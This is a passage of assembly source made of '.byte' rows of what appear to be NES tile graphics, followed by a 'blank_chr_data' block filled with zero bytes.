$fe,$fe,$fc,$fc,$fc,$f8,$f8,$78,$fc,$7c,$78,$f8,$f8,$70,$70,$00 .byte $7f,$7f,$ff,$ff,$ff,$7f,$7f,$3f,$3f,$3e,$7e,$7e,$7f,$3f,$3f,$00 .byte $bf,$3f,$3f,$ff,$ff,$ff,$ff,$fe,$1f,$1f,$1f,$3f,$ff,$fe,$fe,$00 .byte $df,$df,$bf,$bf,$bf,$1f,$1f,$0f,$8f,$8f,$1f,$1f,$1f,$0f,$0f,$00 .byte $e7,$c7,$cf,$ff,$ff,$ff,$ff,$fe,$c3,$83,$87,$87,$ff,$ff,$fe,$00 .byte $f3,$f7,$ef,$ef,$cf,$87,$07,$03,$e1,$e3,$c7,$c7,$87,$03,$03,$00 .byte $ff,$ff,$c1,$ff,$ff,$ff,$ff,$fc,$ff,$c0,$80,$01,$ff,$fe,$fc,$00 .byte $fc,$fd,$f9,$fb,$fb,$f7,$f7,$e3,$f8,$f8,$f0,$f1,$f1,$e3,$e3,$00 .byte $fe,$fc,$fc,$fc,$f8,$f8,$f8,$f0,$7c,$f8,$f8,$f8,$f0,$f0,$f0,$00 .byte $f9,$fb,$f7,$f7,$e7,$c3,$03,$01,$f0,$f1,$e3,$e3,$c3,$01,$01,$00 .byte $fe,$fe,$fd,$fd,$fd,$fb,$fb,$71,$fc,$7c,$78,$f8,$f8,$71,$71,$00 .byte $ff,$ff,$ff,$ff,$ff,$ff,$ff,$fb,$7e,$7c,$fc,$fd,$f9,$fb,$fb,$00 .byte $ff,$ff,$ff,$ff,$ff,$ff,$ff,$f7,$fd,$f9,$fb,$fb,$f3,$f3,$f7,$00 .byte $fd,$ff,$fb,$fb,$f3,$f1,$f0,$e0,$f8,$f9,$f1,$f1,$e1,$e0,$e0,$00 .byte $ff,$ff,$ff,$ff,$ff,$ff,$7f,$3f,$ff,$ff,$f8,$f8,$ff,$7f,$3f,$00 .byte $fc,$f8,$f8,$fc,$fe,$fe,$fc,$f8,$f8,$f0,$00,$00,$fc,$fc,$f8,$00 .byte $0f,$07,$00,$3f,$7f,$ff,$ff,$7f,$07,$00,$00,$00,$3f,$7f,$7f,$00 .byte $ff,$ff,$3f,$ff,$ff,$ff,$fe,$f8,$ff,$3f,$1f,$07,$ff,$fe,$f8,$00 .byte $c0,$e0,$e0,$e0,$c0,$80,$00,$00,$80,$c0,$c0,$c0,$80,$00,$00,$00 .byte $00,$00,$00,$00,$00,$e0,$f0,$f8,$00,$00,$00,$00,$00,$00,$60,$f0 .byte $00,$00,$00,$00,$00,$00,$3f,$7f,$00,$00,$00,$00,$00,$00,$00,$0f .byte $01,$00,$00,$00,$00,$00,$f0,$f8,$00,$00,$00,$00,$00,$00,$00,$c0 .byte $fc,$fe,$7f,$3f,$3f,$1f,$1f,$0f,$f8,$7c,$1c,$1e,$0f,$0f,$07,$03 .byte $00,$00,$00,$80,$c0,$c0,$e0,$e0,$00,$00,$00,$00,$00,$80,$c0,$c0 .byte $00,$00,$00,$00,$00,$01,$06,$09,$00,$00,$00,$00,$00,$00,$00,$01 .byte $00,$00,$00,$00,$ff,$3c,$db,$eb,$00,$00,$00,$00,$00,$00,$c3,$e3 .byte $00,$00,$00,$00,$f0,$0e,$f3,$f9,$00,$00,$00,$00,$00,$00,$f0,$f8 .byte $00,$00,$00,$00,$00,$00,$e0,$f0,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$3f,$c7,$00,$00,$00,$00,$00,$00,$00,$00 .byte $04,$07,$04,$04,$04,$04,$07,$07,$04,$07,$04,$04,$04,$04,$07,$07 .byte $00,$ff,$70,$70,$70,$00,$0f,$0f,$00,$ff,$70,$70,$70,$00,$0f,$0f .byte $00,$c0,$7c,$73,$70,$00,$0e,$0f,$00,$c0,$7c,$73,$70,$00,$0e,$0f .byte $00,$00,$00,$00,$80,$80,$80,$80,$00,$00,$00,$00,$80,$80,$80,$80 .byte $00,$00,$00,$00,$00,$01,$07,$3f,$00,$00,$00,$00,$00,$00,$01,$03 .byte $00,$00,$00,$00,$00,$ff,$ff,$ff,$00,$00,$00,$00,$00,$1f,$ff,$ff .byte $7c,$78,$78,$3c,$0f,$c7,$f0,$fe,$0c,$1b,$1b,$0c,$07,$c1,$f0,$fe .byte $ff,$1f,$03,$00,$00,$c0,$f0,$08,$f8,$1e,$c3,$f8,$3e,$c7,$71,$08 .byte $07,$c3,$f1,$f8,$7c,$1e,$0e,$07,$01,$01,$81,$c0,$7c,$9e,$ce,$67 .byte $f0,$fc,$c0,$1f,$ff,$ff,$ff,$ff,$e0,$f0,$c0,$1f,$7f,$3f,$ff,$cf .byte $00,$00,$00,$c0,$f0,$fc,$fe,$f3,$00,$00,$00,$c0,$e0,$e4,$ee,$e3 .byte $00,$00,$00,$00,$01,$00,$02,$07,$00,$00,$00,$00,$00,$00,$00,$00 .byte $1b,$3c,$7f,$8c,$6b,$e7,$d7,$37,$03,$00,$00,$00,$63,$e7,$c7,$07 .byte $eb,$1d,$fe,$01,$fe,$fe,$fe,$fd,$e3,$01,$00,$00,$fe,$fe,$fe,$fc .byte $fd,$fd,$03,$ff,$e1,$de,$bf,$bf,$fc,$fc,$00,$00,$00,$1e,$3f,$3f .byte $fe,$e7,$db,$bd,$d3,$6e,$bd,$b3,$00,$00,$18,$3c,$10,$00,$81,$83 .byte $00,$80,$e0,$f0,$fc,$3c,$de,$c7,$00,$00,$00,$00,$00,$00,$c0,$c0 .byte $03,$07,$0f,$3f,$4f,$2f,$1f,$7f,$00,$00,$00,$00,$00,$00,$00,$00 .byte $9f,$b8,$f0,$f0,$f0,$ff,$ff,$ff,$00,$08,$00,$00,$00,$00,$00,$00 .byte $f0,$f8,$fc,$fe,$fe,$ff,$ff,$ff,$00,$80,$80,$80,$80,$00,$00,$00 .byte $07,$04,$04,$04,$04,$07,$07,$07,$07,$04,$04,$04,$04,$07,$07,$07 .byte $0f,$00,$f0,$f0,$00,$07,$07,$04,$0f,$00,$f0,$f0,$00,$07,$07,$04 .byte $0f,$01,$f1,$f1,$01,$fe,$e0,$00,$0f,$01,$f1,$f1,$01,$fe,$e0,$00 .byte $00,$07,$01,$0d,$0c,$07,$03,$00,$00,$00,$00,$0c,$0c,$07,$03,$00 .byte $3f,$ff,$ff,$ff,$7f,$7f,$7f,$7f,$1f,$1f,$ff,$7f,$3f,$3f,$3f,$3f .byte $ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff .byte $ff,$ff,$ff,$ff,$ff,$f7,$f3,$bb,$ff,$ff,$ff,$ff,$ff,$f7,$e3,$93 .byte $e6,$fc,$ff,$ff,$ff,$ff,$ff,$ff,$e6,$fc,$ff,$ff,$ff,$ff,$ff,$ff .byte $07,$87,$9f,$bf,$9f,$cf,$e7,$f7,$37,$07,$8f,$13,$1f,$0f,$c7,$d7 .byte $ff,$f8,$fc,$ff,$ff,$ff,$ff,$ff,$e0,$d8,$f8,$ff,$ff,$ff,$fe,$f8 .byte $fb,$ff,$f9,$e0,$c0,$c0,$e1,$fc,$c3,$7f,$f9,$e6,$de,$de,$61,$fc .byte $87,$f8,$e0,$7f,$b0,$bc,$64,$e0,$80,$c0,$c0,$60,$a0,$a0,$60,$c0 .byte $00,$00,$00,$00,$80,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $0f,$0c,$1b,$33,$2f,$1f,$5f,$5f,$00,$00,$03,$03,$0f,$1f,$1f,$1f .byte $f7,$77,$bb,$dc,$ef,$ef,$f7,$f7,$07,$07,$83,$c0,$e0,$e0,$f0,$f0 .byte $fd,$fd,$fd,$fd,$03,$ff,$c0,$bf,$fc,$fc,$fc,$fc,$00,$00,$00,$3f .byte $7f,$7f,$7f,$bf,$df,$20,$df,$ef,$7f,$7f,$7f,$3f,$1f,$00,$c0,$e0 .byte $af,$af,$af,$af,$77,$fb,$fd,$86,$8f,$8f,$8f,$8f,$07,$03,$01,$00 .byte $fb,$fd,$fd,$fd,$fd,$f3,$ef,$1f,$f8,$fc,$fc,$fc,$fc,$f0,$e0,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$7f,$7f,$7f,$7f,$7f,$7f,$7f,$7f .byte $00,$00,$00,$00,$00,$00,$00,$00,$fe,$fe,$ff,$ff,$ff,$7f,$08,$e0 .byte $fe,$30,$00,$00,$c0,$c0,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $07,$06,$06,$06,$06,$06,$0e,$1c,$07,$06,$06,$06,$06,$06,$0e,$1c .byte $fc,$00,$00,$00,$00,$00,$00,$00,$fc,$00,$00,$00,$00,$00,$00,$00 .byte $7f,$7f,$7f,$7f,$3f,$3f,$3f,$1f,$1f,$1f,$1f,$1f,$1f,$1f,$0f,$07 .byte $99,$c5,$f1,$f9,$f9,$fb,$f9,$fd,$81,$c1,$b1,$e9,$d1,$e0,$e0,$f4 .byte $ff,$ff,$ff,$ff,$ff,$ff,$fe,$fc,$ff,$ff,$ff,$ff,$ff,$ff,$3c,$0c .byte $f7,$ff,$fc,$fe,$ff,$ff,$ff,$ff,$e7,$ff,$fc,$fa,$fd,$fe,$fc,$fe .byte $ff,$ff,$ff,$7f,$1f,$cf,$f1,$f2,$e3,$1c,$7b,$37,$07,$80,$40,$80 .byte $c9,$e3,$ff,$ff,$fe,$f8,$00,$00,$c9,$e3,$fe,$3e,$78,$00,$00,$00 .byte $c0,$80,$00,$00,$00,$00,$00,$00,$80,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$0f,$ff,$ff,$1f,$00,$00,$00,$01 .byte $5f,$5f,$23,$3b,$1c,$07,$00,$00,$1f,$1f,$03,$83,$00,$40,$f0,$ff .byte $fb,$fb,$e7,$df,$3f,$ff,$ff,$07,$f8,$f8,$e0,$c0,$00,$00,$00,$00 .byte $7f,$7f,$7f,$bf,$df,$ee,$f1,$ff,$7f,$7f,$7f,$3f,$1f,$0e,$00,$00 .byte $ef,$ee,$ed,$ed,$1e,$fe,$ff,$ff,$e0,$e0,$e1,$e1,$00,$00,$00,$00 .byte $7b,$fd,$fd,$fd,$fd,$f3,$0f,$ff,$78,$fc,$fc,$fc,$fc,$f0,$00,$00 .byte $ff,$fe,$fe,$fc,$f8,$f0,$c0,$00,$00,$00,$00,$01,$01,$07,$0f,$1c .byte $00,$00,$00,$00,$00,$00,$00,$00,$7f,$ff,$fb,$fa,$fc,$dc,$90,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$80,$80,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$01,$03,$07,$0e,$1c,$00,$00,$00,$01,$03,$07,$0e,$1c .byte $38,$70,$e0,$c0,$80,$00,$00,$00,$38,$70,$e0,$c0,$80,$00,$00,$00 .byte $0f,$03,$00,$38,$3e,$1e,$0e,$06,$03,$00,$00,$00,$08,$0e,$06,$00 .byte $ff,$ff,$ff,$ff,$3f,$3f,$7e,$ff,$ff,$ff,$1f,$1f,$0f,$1e,$7e,$7f .byte $fc,$f9,$f8,$f8,$f0,$00,$de,$bf,$e4,$e0,$f0,$c0,$c0,$00,$80,$b0 .byte $f9,$fb,$7b,$0f,$07,$00,$03,$8f,$01,$03,$03,$03,$01,$00,$01,$03 .byte $ff,$ff,$f7,$f7,$f2,$f8,$7b,$fb,$fe,$ff,$f6,$f3,$f0,$70,$7b,$f9 .byte $f2,$e2,$d8,$dc,$7e,$ff,$ff,$ff,$60,$20,$90,$10,$78,$fe,$ff,$ff .byte $00,$00,$00,$00,$00,$00,$80,$c0,$00,$00,$00,$00,$00,$00,$00,$80 .byte $00,$00,$00,$00,$00,$00,$01,$03,$00,$00,$00,$00,$01,$02,$01,$03 .byte $00,$00,$00,$00,$00,$00,$f0,$f0,$01,$05,$1f,$ff,$ff,$0f,$f7,$f7 .byte $00,$00,$00,$00,$00,$00,$00,$00,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff .byte $01,$00,$00,$00,$00,$00,$00,$00,$f0,$fc,$ff,$fd,$e5,$e4,$c1,$0f .byte $ff,$00,$00,$00,$00,$00,$00,$00,$00,$00,$ff,$ff,$ff,$3f,$87,$f8 .byte $ff,$00,$00,$00,$00,$00,$00,$00,$00,$00,$ff,$ff,$ff,$ff,$ff,$00 .byte $f8,$00,$00,$00,$00,$00,$00,$00,$00,$07,$ff,$fd,$fe,$e0,$0e,$7f .byte $00,$00,$00,$00,$00,$00,$00,$00,$ff,$ff,$ff,$ff,$ff,$ff,$1f,$0f .byte $e0,$f8,$fe,$ff,$ff,$ff,$ff,$ff,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$01,$e3,$c3,$82,$80,$00,$00,$00,$01,$03,$0b,$3a,$38 .byte $02,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $ff,$7f,$1f,$23,$18,$1f,$0f,$07,$3f,$01,$00,$00,$00,$0c,$07,$03 .byte $bf,$ff,$ff,$ff,$7f,$07,$e3,$f0,$be,$ff,$7f,$1f,$03,$01,$c0,$e0 .byte $e3,$f9,$fc,$ff,$ff,$fe,$fd,$fe,$03,$81,$e0,$fe,$ff,$fe,$7d,$7c .byte $fb,$fd,$78,$20,$c0,$c0,$40,$c0,$f8,$f0,$40,$00,$00,$00,$00,$80 .byte $ff,$ff,$7f,$0f,$03,$01,$00,$00,$ff,$3f,$0f,$03,$01,$00,$00,$00 .byte $e0,$f8,$fc,$fe,$ff,$ff,$fe,$7b,$c0,$e0,$c8,$fc,$fe,$ff,$3e,$1b .byte $00,$00,$00,$00,$80,$c0,$40,$40,$00,$00,$00,$00,$00,$80,$40,$40 .byte $01,$01,$00,$00,$00,$00,$00,$00,$01,$01,$00,$00,$00,$00,$00,$00 .byte $f0,$f0,$c3,$07,$0f,$07,$00,$00,$f7,$f4,$cb,$37,$2f,$07,$00,$00 .byte $00,$00,$80,$80,$80,$80,$00,$00,$fc,$70,$a0,$a0,$80,$80,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$1f,$ff,$ff,$7f,$1f,$0f,$03,$01 .byte $00,$00,$19,$7d,$7c,$38,$00,$00,$fc,$e4,$99,$7d,$7c,$b8,$c0,$80 .byte $00,$c0,$e0,$e0,$f0,$e2,$03,$07,$1f,$df,$ef,$ef,$f5,$ea,$13,$17 .byte $00,$00,$00,$00,$00,$00,$00,$00,$fe,$fe,$fc,$f8,$f0,$f0,$60,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00 .byte $ff,$7e,$7c,$7c,$1e,$07,$20,$78,$00,$00,$01,$01,$00,$00,$20,$78 .byte $00,$10,$00,$00,$00,$00,$00,$00,$08,$c0,$e0,$e0,$c0,$00,$00,$00 .byte $07,$06,$07,$03,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $f0,$f2,$67,$66,$01,$00,$00,$00,$e0,$40,$00,$00,$00,$00,$00,$00 .byte $fe,$3f,$83,$f8,$e0,$00,$00,$00,$1e,$03,$00,$00,$00,$00,$00,$00 .byte $40,$40,$80,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $3b,$3d,$1f,$07,$00,$00,$00,$00,$19,$0d,$06,$00,$00,$00,$00,$00 .byte $40,$80,$80,$00,$00,$00,$00,$00,$40,$80,$00,$00,$00,$00,$00,$00 .byte $06,$00,$00,$00,$00,$00,$00,$00,$06,$00,$00,$00,$00,$00,$00,$00 .byte $01,$03,$07,$0f,$3e,$78,$f0,$20,$01,$03,$07,$0f,$3e,$78,$f0,$20 .byte $f0,$c0,$80,$00,$00,$00,$00,$00,$f0,$c0,$80,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$08,$00,$00,$00,$00,$00,$00,$00,$08 .byte $00,$0d,$06,$04,$04,$04,$06,$05,$00,$0d,$06,$04,$04,$04,$06,$05 .byte $00,$87,$61,$21,$21,$21,$61,$87,$00,$87,$61,$21,$21,$21,$61,$87 .byte $00,$70,$8b,$02,$03,$02,$03,$c0,$00,$70,$8b,$02,$03,$02,$03,$c0 .byte $00,$e0,$19,$09,$f8,$00,$19,$e0,$00,$e0,$19,$09,$f8,$00,$19,$e0 .byte $00,$f8,$04,$00,$f8,$04,$04,$f8,$00,$f8,$04,$00,$f8,$04,$04,$f8 .byte $00,$38,$c6,$82,$fe,$80,$c6,$38,$00,$38,$c6,$82,$fe,$80,$c6,$38 .byte $00,$6c,$32,$22,$22,$22,$22,$77,$00,$6c,$32,$22,$22,$22,$22,$77 .byte $08,$3f,$08,$08,$08,$08,$08,$07,$08,$3f,$08,$08,$08,$08,$08,$07 .byte $00,$0f,$10,$10,$0f,$00,$90,$0f,$00,$0f,$10,$10,$0f,$00,$90,$0f .byte $00,$80,$40,$00,$80,$40,$40,$80,$00,$80,$40,$00,$80,$40,$40,$80 blank_chr_data: .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte 